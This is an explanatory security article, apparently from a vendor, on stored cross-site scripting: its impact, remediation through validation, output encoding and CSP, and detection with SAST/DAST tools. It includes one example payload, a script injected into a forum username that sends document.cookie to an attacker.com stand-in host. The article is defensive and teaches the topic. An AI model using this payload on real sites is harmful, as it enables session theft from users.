Stored Cross-Site Scripting (XSS): Example, Impact, Remediation

Stored cross-site scripting occurs when data sent by an attacker is stored on a server and then publicly displayed on regular pages without proper HTML escaping.

This creates several different attack possibilities, mostly session token or login credentials theft (by modifying HTML on the fly) and performing actions on someone else’s behalf. This happens because the data entered by the attacker is interpreted as HTML/JavaScript/VBScript in the browser of the user who is viewing the application content.

In regular XSS attacks, the attacker needs to reach the target user, but in stored cross-site scripting, the malicious hacker can simply inject a payload and wait for users to visit the affected page. As soon as someone does this, the stored payload will be executed.

XSS targets users, not the application server. But because it allows malicious hackers to hijack other users’ sessions, they can attack the administrator to gain full control of the application.

Impact of Stored XSS

Stored cross-site scripting is more dangerous than other types for several reasons:

  • The payload is not visible to the browser’s XSS filter.
  • Users can accidentally activate the payload if they visit an affected page, whereas reflected XSS requires a specially crafted URL or certain form inputs.
  • Cross-site scripting allows attackers to create client-side worms that can modify, delete, or steal data from other users within the application.
  • The website could redirect users to a new location, be defaced, or be used as a phishing site.
  • Sensitive information such as cookies could be stolen.

Example of Stored XSS

Stored XSS can occur if the username of an online forum member is not properly sanitized when displayed on the page. In this case, an attacker could inject malicious code when a new user registers in a form. When the username is displayed on the forum page, it would look like this:

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>

Registered since: 2016

The above code is executed every time a user visits that section of the forum, and it sends cookies to the attacker, who can then use them to hijack sessions.

Remediating Stored XSS

1. Before inserting into the database, it is important to compare the data provided by the user with the data the system expects.

For example, links should generally be disallowed unless they begin with a whitelisted protocol such as http:// or https://, which prevents the use of URI schemes such as javascript://.

2. Also, any data included in the HTML source code of the page should be properly encoded to prevent an attacker from modifying its structure and injecting their own malicious HTML and JavaScript code.

Which encoding to use depends on the context in which it is to be displayed. For example, if the output is between two “div” tags, HTML metacharacters such as < or > has to be replaced with the appropriate HTML entities.

If the output is in an HTML attribute, characters such as , and = should also be replaced. If the data is to be placed in a JavaScript string, hexadecimal encoding (x41x42x43x44) has to be used.

3. In other cases, such as in the href or src attribute, URL encoding (%3C%22%27) should be used to prevent an attacker from adding additional parameters.

4. In addition, it is worth implementing a robust Content Security Policy (CSP) as a defense measure in case an XSS vulnerability is accidentally created.

Automatic Detection of Stored XSS

Stored XSS can be detected using automated tools:

  • SAST (such as from Mend.io) analyzes the source code at the development stage as text to find potential vulnerabilities.
  • DAST (like Invicti based on Acunetix and Netsparker) works with an already deployed application and simulates attacks, checking whether it is possible to execute XSS in practice via a web interface.

Thus, SAST helps to detect the problem earlier in the development process, while DAST confirms the exploitability of the vulnerability in a real environment.

If you want to test Invicti or Mend.io for free, which integrate seamlessly, then leave your contact details in the form below, and we will contact you:

Request for free Invicti/Mend.io Trial



    Підписатися на новини